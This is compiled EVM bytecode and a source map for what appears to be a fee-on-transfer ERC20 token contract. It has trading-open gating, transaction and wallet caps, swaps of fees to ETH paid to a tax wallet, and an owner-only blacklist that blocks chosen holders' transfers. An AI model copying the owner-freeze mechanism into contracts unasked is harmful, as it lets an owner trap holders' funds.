5b600d556105836009600a611780565b61059190631913385061178f565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105c16009600a611780565b6105cf90631913385061178f565b60405190815260200160405180910390a1565b60006103ce338484610a4b565b6000546001600160a01b031633146106195760405162461bcd60e51b81526004016104dd906117a6565b601354600160a01b900460ff16156106735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104dd565b60115461069f9030906001600160a01b03166106916009600a611780565b61045390631913385061178f565b6011546001600160a01b031663f305d71947306106d1816001600160a01b031660009081526009602052604090205490565b6000806106e66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561074e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061077391906117db565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190611809565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108345760405162461bcd60e51b81526004016104dd906117a6565b60005b825181101561091557306001600160a01b031683828151811061085c5761085c611826565b60200260200101516001600160a01b0316036108ba5760405162461bcd60e51b815260206004820181905260248201527f43616e277420626c61636b6c69737420636f6e7472616374206164647265737360448201526064016104dd565b81600c60008584815181106108d1576108d1611826565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061090d8161183c565b915050610837565b505050565b6001600160a01b0383166109835760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b60648201526084016104dd565b6001600160a01b0382166109ea5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b60648201526084016104dd565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610aaf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104dd565b6001600160a01b038216610b115760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104dd565b60008111610b735760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104dd565b600081610b886000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bb757506000546001600160a01b03858116911614155b15610f77576001600160a01b0385166000908152600b602052604090205460ff1680610c2057506001600160a01b0385166000908152600c602052604090205460ff16158015610c2057506001600160a01b0384166000908152600c602052604090205460ff16155b610c2957600080fd5b610c556064610c4f60055460085411610c4457600154610c48565b6003545b86906110e0565b90611169565b6013549092506001600160a01b038681169116148015610c8357506011546001600160a01b03858116911614155b8015610ca857506001600160a01b0384166000908152600b602052604090205460ff16155b15610d9057600d54831115610cff5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104dd565b600e5483610d22866001600160a01b031660009081526009602052604090205490565b610d2c9190611855565b1115610d7a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104dd565b60088054906000610d8a8361183c565b91905055505b6013546001600160a01b03858116911614801590610dc757506001600160a01b0384166000908152600b602052604090205460ff16155b15610e4757600e5483610def866001600160a01b031660009081526009602052604090205490565b610df99190611855565b1115610e475760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104dd565b6013546001600160a01b038581169116148015610e6d57506001600160a01b0385163014155b15610e9a57610e976064610c4f60065460085411610e8d57600254610c48565b60045486906110e0565b91505b610ea483836111ab565b6001600160a01b0386166000908152600b602052604090205490915060ff1615610ecd57600092505b30600090815260096020526040902054601354600160a81b900460ff16158015610f0457506013546001600160a01b038681169116145b8015610f195750601354600160b01b900460ff165b8015610f265750600f5481115b8015610f355750600754600854115b8015610f415750600084115b15610f7557610f63610f5e85610f59846010546111ed565b6111ed565b611202565b478015610f7357610f734761137c565b505b505b8115610ff15730600090815260096020526040902054610f9790836113ba565b30600081815260096020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fe89086815260200190565b60405180910390a35b6001600160a01b03851660009081526009602052604090205461101490846111ab565b6001600160a01b03808716600090815260096020526040808220939093559086168152205461104390826113ba565b6001600160a01b0380861660008181526009602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110979085815260200190565b60405180910390a35050505050565b600081848411156110ca5760405162461bcd60e51b81526004016104dd9190611447565b5060006110d78486611868565b95945050505050565b6000826000036110f2575060006103d2565b60006110fe838561178f565b90508261110b858361187b565b146111625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104dd565b9392505050565b600061116283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611419565b600061116283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a6565b60008183116111fc5782611162565b50919050565b6013805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061124a5761124a611826565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c7919061189d565b816001815181106112da576112da611826565b6001600160a01b039283166020918202929092010152601154611300913091168461091a565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906113399085906000908690309042906004016118ba565b600060405180830381600087803b15801561135357600080fd5b505af1158015611367573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156113b6573d6000803e3d6000fd5b5050565b6000806113c78385611855565b9050838110156111625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104dd565b6000818361143a5760405162461bcd60e51b81526004016104dd9190611447565b5060006110d7848661187b565b600060208083528351808285015260005b8181101561147457858101830151858201604001528201611458565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114aa57600080fd5b50565b80356114b881611495565b919050565b600080604083850312156114d057600080fd5b82356114db81611495565b946020939093013593505050565b6000806000606084860312156114fe57600080fd5b833561150981611495565b9250602084013561151981611495565b929592945050506040919091013590565b60006020828403121561153c57600080fd5b813561116281611495565b6000806040838503121561155a57600080fd5b823561156581611495565b9150602083013561157581611495565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b80151581146114aa57600080fd5b80356114b881611596565b600080604083850312156115c257600080fd5b823567ffffffffffffffff808211156115da57600080fd5b818501915085601f8301126115ee57600080fd5b813560208282111561160257611602611580565b8160051b604051601f19603f8301168101818110868211171561162757611627611580565b60405292835281830193508481018201928984111561164557600080fd5b948201945b8386101561166a5761165b866114ad565b8552948201949382019361164a565b965061167990508782016115a4565b9450505050509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116d75781600019048211156116bd576116bd611686565b808516156116ca57918102915b93841c93908002906116a1565b509250929050565b6000826116ee575060016103d2565b816116fb575060006103d2565b8160018114611711576002811461171b57611737565b60019150506103d2565b60ff84111561172c5761172c611686565b50506001821b6103d2565b5060208310610133831016604e8410600b841016171561175a575081810a6103d2565b611764838361169c565b806000190482111561177857611778611686565b029392505050565b600061116260ff8416836116df565b80820281158282048414176103d2576103d2611686565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000806000606084860312156117f057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561181b57600080fd5b815161116281611596565b634e487b7160e01b600052603260045260246000fd5b60006001820161184e5761184e611686565b5060010190565b808201808211156103d2576103d2611686565b818103818111156103d2576103d2611686565b60008261189857634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118af57600080fd5b815161116281611495565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561190a5784516001600160a01b0316835293830193918301916001016118e5565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207a54fb90f2d1d742006ce1998cd970e98e5c6b94bc7186dcfefd4f9edf3d225d64736f6c63430008130033

3614:7791:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5590:83;;;;;;;;;;-1:-1:-1;5660:5:0;;;;;;;;;;;;-1:-1:-1;;;5660:5:0;;;;5590:83;;;;;;;:::i;:::-;;;;;;;;6097:161;;;;;;;;;;-1:-1:-1;6097:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6097:161:0;1162:187:1;4669:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4669:51:0;1354:177:1;5867:95:0;;;;;;;;;;;;;:::i;6417:313::-;;;;;;;;;;-1:-1:-1;6417:313:0;;;;;:::i;:::-;;:::i;5776:83::-;;;;;;;;;;-1:-1:-1;5776:83:0;;4400:1;2139:36:1;;2127:2;2112:18;5776:83:0;1997:184:1;8163:188:0;;;;;;;;;;-1:-1:-1;8163:188:0;;;;;:::i;:::-;;:::i;:::-;;5970:119;;;;;;;;;;-1:-1:-1;5970:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;2695:148;;;;;;;;;;;;;:::i;7996:159::-;;;;;;;;;;;;;:::i;4479:59::-;;;;;;;;;;;;;;;;2481:79;;;;;;;;;;-1:-1:-1;2519:7:0;2546:6;2481:79;;-1:-1:-1;;;;;2546:6:0;;;2844:51:1;;2832:2;2817:18;2481:79:0;2698:203:1;4545:59:0;;;;;;;;;;;;;;;;5681:87;;;;;;;;;;-1:-1:-1;5753:7:0;;;;;;;;;;;;-1:-1:-1;;;5753:7:0;;;;5681:87;;8454:167;;;;;;;;;;-1:-1:-1;8454:167:0;;;;;:::i;:::-;;:::i;4611:51::-;;;;;;;;;;;;;;;;7137:459;;;;;;;;;;;;;:::i;6266:143::-;;;;;;;;;;-1:-1:-1;6266:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6374:18:0;;;6347:7;6374:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6266:143;6844:285;;;;;;;;;;-1:-1:-1;6844:285:0;;;;;:::i;:::-;;:::i;6097:161::-;6172:4;6189:39;318:10;6212:7;6221:6;6189:8;:39::i;:::-;-1:-1:-1;6246:4:0;6097:161;;;;;:::o;5867:95::-;5920:7;4457:13;4400:1;4457:2;:13;:::i;:::-;4443:27;;:11;:27;:::i;:::-;5940:14;;5867:95;:::o;6417:313::-;6515:4;6532:36;6542:6;6550:9;6561:6;6532:9;:36::i;:::-;6579:121;6588:6;318:10;6610:89;6648:6;6610:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6610:19:0;;;;;;:11;:19;;;;;;;;318:10;6610:33;;;;;;;;;;:37;:89::i;:::-;6579:8;:121::i;:::-;-1:-1:-1;6718:4:0;6417:313;;;;;:::o;8163:188::-;8253:10;;-1:-1:-1;;;;;8253:10:0;8239;:24;8231:33;;;;;;8275:10;:20;;-1:-1:-1;;;;;8275:20:0;;;-1:-1:-1;;;;;;8275:20:0;;;;;;;:10;8306:30;;;:18;:30;;;;;:37;;-1:-1:-1;;8306:37:0;8275:20;8306:37;;;8163:188::o;2695:148::-;2608:6;;-1:-1:-1;;;;;2608:6:0;318:10;2608:22;2600:67;;;;-1:-1:-1;;;2600:67:0;;;;;;;:::i;:::-;;;;;;;;;2802:1:::1;2786:6:::0;;2765:40:::1;::::0;-1:-1:-1;;;;;2786:6:0;;::::1;::::0;2765:40:::1;::::0;2802:1;;2765:40:::1;2833:1;2816:19:::0;;-1:-1:-1;;;;;;2816:19:0::1;::::0;;2695:148::o;7996:159::-;2608:6;;-1:-1:-1;;;;;2608:6:0;318:10;2608:22;2600:67;;;;-1:-1:-1;;;2600:67:0;;;;;;;:::i;:::-;4457:13:::1;4400:1;4457:2;:13;:::i;:::-;4443:27;::::0;:11:::1;:27;:::i;:::-;8049:12;:22:::0;4457:13:::1;4400:1;4457:2;:13;:::i;:::-;4443:27;::::0;:11:::1;:27;:::i;:::-;8082:14;:22:::0;8120:27:::1;4457:13;4400:1;4457:2;:13;:::i;:::-;4443:27;::::0;:11:::1;:27;:::i;:::-;8120;::::0;1500:25:1;;;1488:2;1473:18;8120:27:0::1;;;;;;;7996:159::o:0;8454:167::-;8532:4;8549:42;318:10;8573:9;8584:6;8549:9;:42::i;7137:459::-;2608:6;;-1:-1:-1;;;;;2608:6:0;318:10;2608:22;2600:67;;;;-1:-1:-1;;;2600:67:0;;;;;;;:::i;:::-;7201:11:::1;::::0;-1:-1:-1;;;7201:11:0;::::1;;;7200:12;7192:47;;;::::0;-1:-1:-1;;;7192:47:0;;7134:2:1;7192:47:0::1;::::0;::::1;7116:21:1::0;7173:2;7153:18;;;7146:30;7212:25;7192:18;;;7185:53;7255:18;;7192:47:0::1;6932:347:1::0;7192:47:0::1;7282:15;::::0;7250:58:::1;::::0;7267:4:::1;::::0;-1:-1:-1;;;;;7282:15:0::1;4457:13;4400:1;4457:2;:13;:::i;:::-;4443:27;::::0;:11:::1;:27;:::i;7250:58::-;7319:15;::::0;-1:-1:-1;;;;;7319:15:0::1;:31;7358:21;7389:4;7395:24;7389:4:::0;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;7395:24:::1;7420:1;7422::::0;7424:7:::1;2519::::0;2546:6;-1:-1:-1;;;;;2546:6:0;;2481:79;7424:7:::1;7319:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7319:129:0;;;-1:-1:-1;;;;;7643:15:1;;;7319:129:0::1;::::0;::::1;7625:34:1::0;7675:18;;;7668:34;;;;7718:18;;;7711:34;;;;7761:18;;;7754:34;7825:15;;;7804:19;;;7797:44;7432:15:0::1;7857:19:1::0;;;7850:35;7559:19;;7319:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7466:13:0::1;::::0;7497:15:::1;::::0;7459:71:::1;::::0;-1:-1:-1;;;7459:71:0;;-1:-1:-1;;;;;7497:15:0;;::::1;7459:71;::::0;::::1;8381:51:1::0;-1:-1:-1;;8448:18:1;;;8441:34;7466:13:0;::::1;::::0;-1:-1:-1;7459:29:0::1;::::0;8354:18:1;;7459:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;7541:11:0::1;:18:::0;;-1:-1:-1;;;;7570:18:0;-1:-1:-1;;;7570:18:0;;;7137:459::o;6844:285::-;2608:6;;-1:-1:-1;;;;;2608:6:0;318:10;2608:22;2600:67;;;;-1:-1:-1;;;2600:67:0;;;;;;;:::i;:::-;6943:6:::1;6938:184;6959:7;:14;6955:1;:18;6938:184;;;7025:4;-1:-1:-1::0;;;;;7003:27:0::1;:7;7011:1;7003:10;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;7003:27:0::1;::::0;6995:72:::1;;;::::0;-1:-1:-1;;;6995:72:0;;9070:2:1;6995:72:0::1;::::0;::::1;9052:21:1::0;;;9089:18;;;9082:30;9148:34;9128:18;;;9121:62;9200:18;;6995:72:0::1;8868:356:1::0;6995:72:0::1;7102:8;7082:5;:17;7088:7;7096:1;7088:10;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;7082:17:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;7082:17:0;:28;;-1:-1:-1;;7082:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6975:3;::::1;::::0;::::1;:::i;:::-;;;;6938:184;;;;6844:285:::0;;:::o;7641:347::-;-1:-1:-1;;;;;7734:19:0;;7726:74;;;;-1:-1:-1;;;7726:74:0;;9571:2:1;7726:74:0;;;9553:21:1;9610:2;9590:18;;;9583:30;9649:34;9629:18;;;9622:62;-1:-1:-1;;;9700:18:1;;;9693:40;9750:19;;7726:74:0;9369:406:1;7726:74:0;-1:-1:-1;;;;;7819:21:0;;7811:74;;;;-1:-1:-1;;;7811:74:0;;9982:2:1;7811:74:0;;;9964:21:1;10021:2;10001:18;;;9994:30;10060:34;10040:18;;;10033:62;-1:-1:-1;;;10111:18:1;;;10104:38;10159:19;;7811:74:0;9780:404:1;7811:74:0;-1:-1:-1;;;;;7896:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7948:32;;1500:25:1;;;7948:32:0;;1473:18:1;7948:32:0;;;;;;;7641:347;;;:::o;8629:2282::-;-1:-1:-1;;;;;8717:18:0;;8709:68;;;;-1:-1:-1;;;8709:68:0;;10391:2:1;8709:68:0;;;10373:21:1;10430:2;10410:18;;;10403:30;10469:34;10449:18;;;10442:62;-1:-1:-1;;;10520:18:1;;;10513:35;10565:19;;8709:68:0;10189:401:1;8709:68:0;-1:-1:-1;;;;;8796:16:0;;8788:64;;;;-1:-1:-1;;;8788:64:0;;10797:2:1;8788:64:0;;;10779:21:1;10836:2;10816:18;;;10809:30;10875:34;10855:18;;;10848:62;-1:-1:-1;;;10926:18:1;;;10919:33;10969:19;;8788:64:0;10595:399:1;8788:64:0;8880:1;8871:6;:10;8863:64;;;;-1:-1:-1;;;8863:64:0;;11201:2:1;8863:64:0;;;11183:21:1;11240:2;11220:18;;;11213:30;11279:34;11259:18;;;11252:62;-1:-1:-1;;;11330:18:1;;;11323:39;11379:19;;8863:64:0;10999:405:1;8863:64:0;8938:17;8994:6;9023:7;2519;2546:6;-1:-1:-1;;;;;2546:6:0;;2481:79;9023:7;-1:-1:-1;;;;;9015:15:0;:4;-1:-1:-1;;;;;9015:15:0;;;:32;;;;-1:-1:-1;2519:7:0;2546:6;-1:-1:-1;;;;;9034:13:0;;;2546:6;;9034:13;;9015:32;9011:1556;;;-1:-1:-1;;;;;9072:24:0;;;;;;:18;:24;;;;;;;;;:56;;-1:-1:-1;;;;;;9102:11:0;;;;;;:5;:11;;;;;;;;9101:12;:26;;;;-1:-1:-1;;;;;;9118:9:0;;;;;;:5;:9;;;;;;;;9117:10;9101:26;9064:65;;;;;;9156:76;9228:3;9156:67;9178:15;;9168:9;;:25;9167:55;;9208:14;;9167:55;;;9195:12;;9167:55;9156:6;;:10;:67::i;:::-;:71;;:76::i;:::-;9261:13;;9144:88;;-1:-1:-1;;;;;;9253:21:0;;;9261:13;;9253:21;:55;;;;-1:-1:-1;9292:15:0;;-1:-1:-1;;;;;9278:30:0;;;9292:15;;9278:30;;9253:55;:83;;;;-1:-1:-1;;;;;;9314:22:0;;;;;;:18;:22;;;;;;;;9312:24;9253:83;9249:313;;;9376:12;;9366:6;:22;;9358:60;;;;-1:-1:-1;;;9358:60:0;;11611:2:1;9358:60:0;;;11593:21:1;11650:2;11630:18;;;11623:30;11689:27;11669:18;;;11662:55;11734:18;;9358:60:0;11409:349:1;9358:60:0;9471:14;;9461:6;9445:13;9455:2;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;9445:13;:22;;;;:::i;:::-;:40;;9437:79;;;;-1:-1:-1;;;9437:79:0;;12095:2:1;9437:79:0;;;12077:21:1;12134:2;12114:18;;;12107:30;12173:28;12153:18;;;12146:56;12219:18;;9437:79:0;11893:350:1;9437:79:0;9535:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9249:313;9586:13;;-1:-1:-1;;;;;9580:19:0;;;9586:13;;9580:19;;;;:47;;-1:-1:-1;;;;;;9605:22:0;;;;;;:18;:22;;;;;;;;9603:24;9580:47;9576:167;;;9682:14;;9672:6;9656:13;9666:2;-1:-1:-1;;;;;6063:18:0;6036:7;6063:18;;;:9;:18;;;;;;;5970:119;9656:13;:22;;;;:::i;:::-;:40;;9648:79;;;;-1:-1:-1;;;9648:79:0;;12095:2:1;9648:79:0;;;12077:21:1;12134:2;12114:18;;;12107:30;12173:28;12153:18;;;12146:56;12219:18;;9648:79:0;11893:350:1;9648:79:0;9766:13;;-1:-1:-1;;;;;9760:19:0;;;9766:13;;9760:19;:43;;;;-1:-1:-1;;;;;;9783:20:0;;9798:4;9783:20;;9760:43;9757:174;;;9836:79;9911:3;9836:70;9858:16;;9848:9;;:26;9847:58;;9890:15;;9847:58;;;9876:13;;9836:6;;:10;:70::i;:79::-;9824:91;;9757:174;9963:21;:6;9974:9;9963:10;:21::i;:::-;-1:-1:-1;;;;;10003:24:0;;;;;;:18;:24;;;;;;9945:39;;-1:-1:-1;10003:24:0;;9999:45;;;10040:1;10031:10;;9999:45;10107:4;10058:28;6063:18;;;:9;:18;;;;;;10133:6;;-1:-1:-1;;;10133:6:0;;;;10132:7;:32;;;;-1:-1:-1;10151:13:0;;-1:-1:-1;;;;;10143:21:0;;;10151:13;;10143:21;10132:32;:47;;;;-1:-1:-1;10168:11:0;;-1:-1:-1;;;10168:11:0;;;;10132:47;:89;;;;;10204:17;;10183:20;:38;10132:89;:121;;;;;10235:18;;10225:9;;:28;10132:121;:133;;;;;10264:1;10257:6;:8;10132:133;10128:428;;;10286:67;10303:49;10307:6;10314:37;10318:20;10339:11;;10314:3;:37::i;:::-;10303:3;:49::i;:::-;10286:16;:67::i;:::-;10401:21;10444:22;;10441:100;;10491:30;10499:21;10491:7;:30::i;:::-;10267:289;10128:428;9049:1518;9011:1556;10582:11;;10579:161;;10650:4;10632:24;;;;:9;:24;;;;;;:39;;10661:9;10632:28;:39::i;:::-;10625:4;10607:24;;;;:9;:24;;;;;;;:64;;;;10689:39;;-1:-1:-1;;;;;10689:39:0;;;;;;;10718:9;1500:25:1;;1488:2;1473:18;;1354:177;10689:39:0;;;;;;;;10579:161;-1:-1:-1;;;;;10766:15:0;;;;;;:9;:15;;;;;;:27;;10786:6;10766:19;:27::i;:::-;-1:-1:-1;;;;;10750:15:0;;;;;;;:9;:15;;;;;;:43;;;;10818:13;;;;;;;:34;;10836:15;10818:17;:34::i;:::-;-1:-1:-1;;;;;10804:13:0;;;;;;;:9;:13;;;;;;;:48;;;;10868:35;;;;;;;;;;10887:15;1500:25:1;;1488:2;1473:18;;1354:177;10868:35:0;;;;;;;;8698:2213;;8629:2282;;;:::o;1375:190::-;1461:7;1497:12;1489:6;;;;1481:29;;;;-1:-1:-1;;;1481:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1521:9:0;1533:5;1537:1;1533;:5;:::i;:::-;1521:17;1375:190;-1:-1:-1;;;;;1375:190:0:o;1573:246::-;1631:7;1655:1;1660;1655:6;1651:47;;-1:-1:-1;1685:1:0;1678:8;;1651:47;1708:9;1720:5;1724:1;1720;:5;:::i;:::-;1708:17;-1:-1:-1;1753:1:0;1744:5;1748:1;1708:17;1744:5;:::i;:::-;:10;1736:56;;;;-1:-1:-1;;;1736:56:0;;12805:2:1;1736:56:0;;;12787:21:1;12844:2;12824:18;;;12817:30;12883:34;12863:18;;;12856:62;-1:-1:-1;;;12934:18:1;;;12927:31;12975:19;;1736:56:0;12603:397:1;1736:56:0;1810:1;1573:246;-1:-1:-1;;;1573:246:0:o;1827:132::-;1885:7;1912:39;1916:1;1919;1912:39;;;;;;;;;;;;;;;;;:3;:39::i;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;6738:98::-;6795:7;6822:1;6820;:3;6819:9;;6827:1;6819:9;;;-1:-1:-1;6825:1:0;6738:98;-1:-1:-1;6738:98:0:o;10919:483::-;5043:6;:13;;-1:-1:-1;;;;5043:13:0;-1:-1:-1;;;5043:13:0;;;11021:16:::1;::::0;;11035:1:::1;11021:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11021:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11021:16:0::1;10997:40;;11066:4;11048;11053:1;11048:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11048:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11092:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11092:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11048:7;;11092:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11082:4;11087:1;11082:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11082:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11157:15:::1;::::0;11125:62:::1;::::0;11142:4:::1;::::0;11157:15:::1;11175:11:::0;11125:8:::1;:62::i;:::-;11198:15;::::0;:196:::1;::::0;-1:-1:-1;;;11198:196:0;;-1:-1:-1;;;;;11198:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11279:11;;11198:15:::1;::::0;11321:4;;11348::::1;::::0;11368:15:::1;::::0;11198:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5079:6:0;:14;;-1:-1:-1;;;;5079:14:0;;;-1:-1:-1;;;;10919:483:0:o;8359:87::-;8411:10;;:27;;-1:-1:-1;;;;;8411:10:0;;;;:27;;;;;8431:6;;8411:10;:27;:10;:27;8431:6;8411:10;:27;;;;;;;;;;;;;;;;;;;;;8359:87;:::o;1044:179::-;1102:7;;1134:5;1138:1;1134;:5;:::i;:::-;1122:17;;1163:1;1158;:6;;1150:46;;;;-1:-1:-1;;;1150:46:0;;14448:2:1;1150:46:0;;;14430:21:1;14487:2;14467:18;;;14460:30;14526:29;14506:18;;;14499:57;14573:18;;1150:46:0;14246:351:1;1967:189:0;2053:7;2088:12;2081:5;2073:28;;;;-1:-1:-1;;;2073:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2112:9:0;2124:5;2128:1;2124;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1536:456::-;1613:6;1621;1629;1682:2;1670:9;1661:7;1657:23;1653:32;1650:52;;;1698:1;1695;1688:12;1650:52;1737:9;1724:23;1756:31;1781:5;1756:31;:::i;:::-;1806:5;-1:-1:-1;1863:2:1;1848:18;;1835:32;1876:33;1835:32;1876:33;:::i;:::-;1536:456;;1928:7;;-1:-1:-1;;;1982:2:1;1967:18;;;;1954:32;;1536:456::o;2186:255::-;2253:6;2306:2;2294:9;2285:7;2281:23;2277:32;2274:52;;;2322:1;2319;2312:12;2274:52;2361:9;2348:23;2380:31;2405:5;2380:31;:::i;2906:388::-;2974:6;2982;3035:2;3023:9;3014:7;3010:23;3006:32;3003:52;;;3051:1;3048;3041:12;3003:52;3090:9;3077:23;3109:31;3134:5;3109:31;:::i;:::-;3159:5;-1:-1:-1;3216:2:1;3201:18;;3188:32;3229:33;3188:32;3229:33;:::i;:::-;3281:7;3271:17;;;2906:388;;;;;:::o;3299:127::-;3360:10;3355:3;3351:20;3348:1;3341:31;3391:4;3388:1;3381:15;3415:4;3412:1;3405:15;3431:118;3517:5;3510:13;3503:21;3496:5;3493:32;3483:60;;3539:1;3536;3529:12;3554:128;3619:20;;3648:28;3619:20;3648:28;:::i;3687:1191::-;3777:6;3785;3838:2;3826:9;3817:7;3813:23;3809:32;3806:52;;;3854:1;3851;3844:12;3806:52;3894:9;3881:23;3923:18;3964:2;3956:6;3953:14;3950:34;;;3980:1;3977;3970:12;3950:34;4018:6;4007:9;4003:22;3993:32;;4063:7;4056:4;4052:2;4048:13;4044:27;4034:55;;4085:1;4082;4075:12;4034:55;4121:2;4108:16;4143:4;4166:2;4162;4159:10;4156:36;;;4172:18;;:::i;:::-;4218:2;4215:1;4211:10;4250:2;4244:9;4313:2;4309:7;4304:2;4300;4296:11;4292:25;4284:6;4280:38;4368:6;4356:10;4353:22;4348:2;4336:10;4333:18;4330:46;4327:72;;;4379:18;;:::i;:::-;4415:2;4408:22;4465:18;;;4499:15;;;;-1:-1:-1;4541:11:1;;;4537:20;;;4569:19;;;4566:39;;;4601:1;4598;4591:12;4566:39;4625:11;;